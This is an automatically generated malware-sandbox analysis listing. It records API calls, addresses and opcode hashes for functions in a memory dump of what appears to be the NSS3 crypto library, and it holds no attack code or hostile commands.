Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: fd4639696ee9d2207efdf46a9fc2fec332fecc3bc256cf44b66fe758ded17585
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 4D31F57160110087E710C655FC8ABBF7265EF81318FA4497BD41E97AD0EB32986AC751

Function 6C566B70 Relevance: 9.1, APIs: 6, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6C566BA9

Part of subcall function 6C569520: PK11_IsLoggedIn.NSS3(00000000,?,6C59379E,?,00000001,?), ref: 6C569542

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6C566BC0
PORT_ArenaAlloc_Util.NSS3(00000000,0000001C,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6C566BD7
PK11_HasAttributeSet.NSS3(?,?,00000002,00000000,?,?,?,?,00000007,?,00000000), ref: 6C566B97

Part of subcall function 6C581870: TlsGetValue.KERNEL32 ref: 6C5818A6
Part of subcall function 6C581870: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6C566C34,?,?,00000001,00000000,00000007,?), ref: 6C5818B6
Part of subcall function 6C581870: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C566C34,?,?), ref: 6C5818E1
Part of subcall function 6C581870: PR_SetError.NSS3(00000000,00000000), ref: 6C5818F9

PK11_HasAttributeSet.NSS3(?,?,00000001,00000000,00000007,?,00000000), ref: 6C566C2F
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6C566C61

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_$Util$Arena_Attribute$Alloc_ArenaAuthenticateCriticalEnterErrorFreeLoggedSectionUnlockValue
String ID:
API String ID: 2313852964-0
Opcode ID: 48ee807f172783ba643d08bbedc8a80c8c3dccb2a896dfdde4ccb22ce05b6455
Instruction ID: 5ffe6e73eded8ac7e8a9e098e30ebaf09262a2712d3219fc38af6390e8ce765b
Opcode Fuzzy Hash: 48ee807f172783ba643d08bbedc8a80c8c3dccb2a896dfdde4ccb22ce05b6455
Instruction Fuzzy Hash: 0B31D2B5A00301DBE7008F66DC81BAF76A4EF55358F040029ED08ABBA2EB71DC5186A1

Function 6C540E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C540A2C), ref: 6C540E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C540A2C), ref: 6C540E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C540A2C), ref: 6C540E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C540A2C), ref: 6C540E90
free.MOZGLUE(00000000), ref: 6C540EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C540A2C), ref: 6C540ED9

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 74ccea6de3a25be5bc50f08b1dd3d540fedf2171cf5f9fdcb8d90624420ea312
Instruction ID: d14102f3b5d6cc40d178a05063f2738024b43a1c0c82c3a717a0554e53c34f2d
Opcode Fuzzy Hash: 74ccea6de3a25be5bc50f08b1dd3d540fedf2171cf5f9fdcb8d90624420ea312
Instruction Fuzzy Hash: 21212C72A0028597EB0089769C85F6B72AEDFE1749F398437D81853B02EA61C83582A2

Function 6C52A9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6C609270), ref: 6C52A9BF
PR_IntervalToMilliseconds.NSS3(?,?,6C609270), ref: 6C52A9DE

Part of subcall function 6C52AB40: __aulldiv.LIBCMT ref: 6C52AB66

Part of subcall function 6C60CA40: LeaveCriticalSection.KERNEL32(?), ref: 6C60CAAB

LeaveCriticalSection.KERNEL32(?), ref: 6C52AA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6C52AA39
EnterCriticalSection.KERNEL32(?), ref: 6C52AA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C52AAEB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: db5c1fa6c13d396ce37508179b99cf8a0e375823c56a06239a7543d5f29339df
Instruction ID: 69e67443dfa90fdbcb76d4e9985d76d925d39a04185a2155b32a46bc4ec20714
Opcode Fuzzy Hash: db5c1fa6c13d396ce37508179b99cf8a0e375823c56a06239a7543d5f29339df
Instruction Fuzzy Hash: 23415E70604701DFD710DF29C984796BBF1FF46318F248A6DE45E8B681DB79A985CB80

Function 6C5588D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C560725,00000000,00000058), ref: 6C558906
EnterCriticalSection.KERNEL32(?), ref: 6C55891A
PL_ArenaAllocate.NSS3(?,?), ref: 6C55894A
calloc.MOZGLUE(00000001,6C56072D,00000000,00000000,00000000,?,6C560725,00000000,00000058), ref: 6C558959
memset.VCRUNTIME140(?,00000000,?), ref: 6C558993
PR_Unlock.NSS3(?), ref: 6C5589AF

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 5390f50a8fb848879c52d3aab18e98d981986b4666c1c8826aae79805093518b
Instruction ID: abd27dacd9a2d08ee03bbeede221289c41bf9147736c652a59dd8428c02bcde4
Opcode Fuzzy Hash: 5390f50a8fb848879c52d3aab18e98d981986b4666c1c8826aae79805093518b
Instruction Fuzzy Hash: A531F3B2A90215ABD7008F28CC81A5AB7B8AF45358F598927EC18D7B41E731E865C7D3

Function 6C54AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C54AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C54AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C54AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C54AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C669500), ref: 6C54AF23

Part of subcall function 6C59F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C59F0C8
Part of subcall function 6C59F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C59F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C54AF37

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: d488f4c922619a15fdb3257abf01cc38250e10293179e6d293834446b12503cd
Instruction ID: 2492ba19c98c248f8d31129916a5e271baaf20d49fbe8a25df0b8502ff051e1c
Opcode Fuzzy Hash: d488f4c922619a15fdb3257abf01cc38250e10293179e6d293834446b12503cd
Instruction Fuzzy Hash: 1B214CB5909200ABEB108F199C41B9A7BE4AFC572CF148325FC649B7C1E731DD1587A7

Function 6C658A50 Relevance: 9.1, APIs: 6, Instructions: 84networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6C658A8F

Part of subcall function 6C530F00: PR_GetPageSize.NSS3(6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F1B
Part of subcall function 6C530F00: PR_NewLogModule.NSS3(clock,6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F25

htons.WSOCK32(?), ref: 6C658ACB
PR_GetCurrentThread.NSS3(?), ref: 6C658AE2
htons.WSOCK32(?), ref: 6C658B1E
htonl.WSOCK32(7F000001,?), ref: 6C658B3B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: htons$CurrentModulePageSizeThreadhtonl
String ID:
API String ID: 3860140138-0
Opcode ID: a7b1496cf935af4ca065b413fde8cc612f3a489ed9b717af01853f9d2c2d26bf
Instruction ID: b0071ab00efd2d65d1bdca64fcb29e653d1a863963622fce465cdbd9031f1f12
Opcode Fuzzy Hash: a7b1496cf935af4ca065b413fde8cc612f3a489ed9b717af01853f9d2c2d26bf
Instruction Fuzzy Hash: 1721AF70DA474186D7208F35894156772BAAF9A308BB1DA1FE4D997E30F73495D0C35C

Function 6C5CEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5CEE85
realloc.MOZGLUE(99F052DF,?), ref: 6C5CEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C5CEEC5

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

htonl.WSOCK32(?), ref: 6C5CEEE3
htonl.WSOCK32(00000000,?), ref: 6C5CEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C5CEF01

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 46711280dc2d1bb72c20bd39e21c5535f202cc09c1b7b40e220372b7ca6a74df
Instruction ID: ff5181d24049cd906218db8775cb22ef7702a997a73633a9ba001a6306ba8203
Opcode Fuzzy Hash: 46711280dc2d1bb72c20bd39e21c5535f202cc09c1b7b40e220372b7ca6a74df
Instruction Fuzzy Hash: B621E231A002149FCF209F68DC81B9AB7A4EF49398F14812DEC199B741E370ED14CBEA

Function 6C5A0AA0 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

PL_HashTableDestroy.NSS3(?,?,?,6C557F62,00000000,00000000,?,?,?,6C5580DD), ref: 6C5A0AAE
PL_HashTableDestroy.NSS3(?,?,?,6C557F62,00000000,00000000,?,?,?,6C5580DD), ref: 6C5A0ACA
PL_HashTableDestroy.NSS3(?,?,?,6C557F62,00000000,00000000,?,?,?,6C5580DD), ref: 6C5A0B05
PORT_FreeArena_Util.NSS3(?,00000000,?,?,6C557F62,00000000,00000000,?,?,?,6C5580DD), ref: 6C5A0B24
free.MOZGLUE(?,?,?,6C557F62,00000000,00000000,?,?,?,6C5580DD), ref: 6C5A0B3C
memset.VCRUNTIME140(6C6A24E4,00000000,000005B0,?,?,6C557F62,00000000,00000000,?,?,?,6C5580DD), ref: 6C5A0BC2

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: DestroyHashTable$Arena_FreeUtilfreememset
String ID:
API String ID: 4033302747-0
Opcode ID: 784a060a4a3c60b87b4cdf34775bf9980f9189fa17844604c3f6b94a29008af9
Instruction ID: faadac35c8db60b4843990aebf1dc35ce8326011774bdd1f08eaccebcb2f0a22
Opcode Fuzzy Hash: 784a060a4a3c60b87b4cdf34775bf9980f9189fa17844604c3f6b94a29008af9
Instruction Fuzzy Hash: 5B21E9F0B902419EEF10CBE7EC8DB4E3BF8EB46258F040026D40ED2A41E775B5588B5A

Function 6C598A60 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C5461C4,?,6C545F9C,00000000), ref: 6C598A81
TlsGetValue.KERNEL32(?,?,?,6C545F9C,00000000), ref: 6C598A9E
EnterCriticalSection.KERNEL32(?,?,?,?,6C545F9C,00000000), ref: 6C598AB7
PR_Unlock.NSS3(?,?,?,?,?,6C545F9C,00000000), ref: 6C598AD2
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C545F9C,00000000), ref: 6C598B05
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,6C545F9C,00000000), ref: 6C598B18

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CondNotifyValue$CriticalEnterSectionUnlock
String ID:
API String ID: 1007705821-0
Opcode ID: a6f64364a2af5303891704acfd18a1df483590d74d324448c068c3f2cb17af3c
Instruction ID: bcb6e48c6992fd36526e3c602b97a473c6b39fad30666a422f2372c965dd0228
Opcode Fuzzy Hash: a6f64364a2af5303891704acfd18a1df483590d74d324448c068c3f2cb17af3c
Instruction Fuzzy Hash: 58217170504744CFDB10AF39C884659F7F1FF45358F094A6AD89987B10EB30E884CB92

Function 6C594820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C594EB8,?), ref: 6C594884

Part of subcall function 6C598800: TlsGetValue.KERNEL32(?,6C5A085A,00000000,?,6C548369,?), ref: 6C598821
Part of subcall function 6C598800: TlsGetValue.KERNEL32(?,?,6C5A085A,00000000,?,6C548369,?), ref: 6C59883D
Part of subcall function 6C598800: EnterCriticalSection.KERNEL32(?,?,?,6C5A085A,00000000,?,6C548369,?), ref: 6C598856
Part of subcall function 6C598800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C598887
Part of subcall function 6C598800: PR_Unlock.NSS3(?,?,?,?,6C5A085A,00000000,?,6C548369,?), ref: 6C598899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C594EB8,?,?,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C59484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C594EB8,?,?,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C59486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C594899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5948A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5948B8

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 965cafb9415978fb54fd53f6781214d6f4b168957dd7156a60a8e1b55e2f3e37
Instruction ID: 79c86b43fcc42d3ecd778c28c1692d290776516c144f32a1363a5c35f8a3c5e0
Opcode Fuzzy Hash: 965cafb9415978fb54fd53f6781214d6f4b168957dd7156a60a8e1b55e2f3e37
Instruction Fuzzy Hash: 4A21A776F002C0DBEF109EA6ECC455A7778EF46359B1409A4DE1947A02E721FC1487A1

Function 6C5589E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C5588AE,-00000008), ref: 6C558A04
EnterCriticalSection.KERNEL32(?), ref: 6C558A15
memset.VCRUNTIME140(6C5588AE,00000000,00000132), ref: 6C558A27
PR_Unlock.NSS3(?), ref: 6C558A35
memset.VCRUNTIME140(6C5588AE,00000000,00000132,00000000,-00000008,00000000,?,?,6C5588AE,-00000008), ref: 6C558A45
free.MOZGLUE(6C5588A6,?,6C5588AE,-00000008), ref: 6C558A4E

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: 8064c47fddb87f023d4b792dfa4ba6122f3aaeca327068a4265abe33797a3487
Instruction ID: f0cbcaf63050f4c3e23dcc4cd597b214a569276c4db2fd679b8032de898f4b2d
Opcode Fuzzy Hash: 8064c47fddb87f023d4b792dfa4ba6122f3aaeca327068a4265abe33797a3487
Instruction Fuzzy Hash: E01108B5E40301EBEF009F69DC85A5ABB78FF45328F500523E90497600E732E964C7E6

Function 6C5A2550 Relevance: 9.1, APIs: 6, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 6C5A2576
PORT_Alloc_Util.NSS3(00000000), ref: 6C5A2585

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000), ref: 6C5A25A1
_waccess.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?), ref: 6C5A25AF
free.MOZGLUE(00000000), ref: 6C5A25BB
free.MOZGLUE(00000000), ref: 6C5A25CA

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ByteCharMultiWidefree$Alloc_UtilValue_waccessmalloc
String ID:
API String ID: 3520324648-0
Opcode ID: 8ab7831de6b63f26a33f26a2f6f1ab70455ffd9494ce622ed49c33ba7a5d7a00
Instruction ID: 6f6a3eb26e17a710e6d62854d415f6bc4cdf0b338a01ba6a19babe65ab99bdef
Opcode Fuzzy Hash: 8ab7831de6b63f26a33f26a2f6f1ab70455ffd9494ce622ed49c33ba7a5d7a00
Instruction Fuzzy Hash: 4501D2B17052027BFF106FA79C5AE3B355CEB456A5B100120BC1EC9682E960CC0186F5

Function 6C558A90 Relevance: 9.1, APIs: 6, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 6C558FE0: PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C560710), ref: 6C558FF1
Part of subcall function 6C558FE0: calloc.MOZGLUE(00000001,00000000,?,?,6C560710), ref: 6C55904D
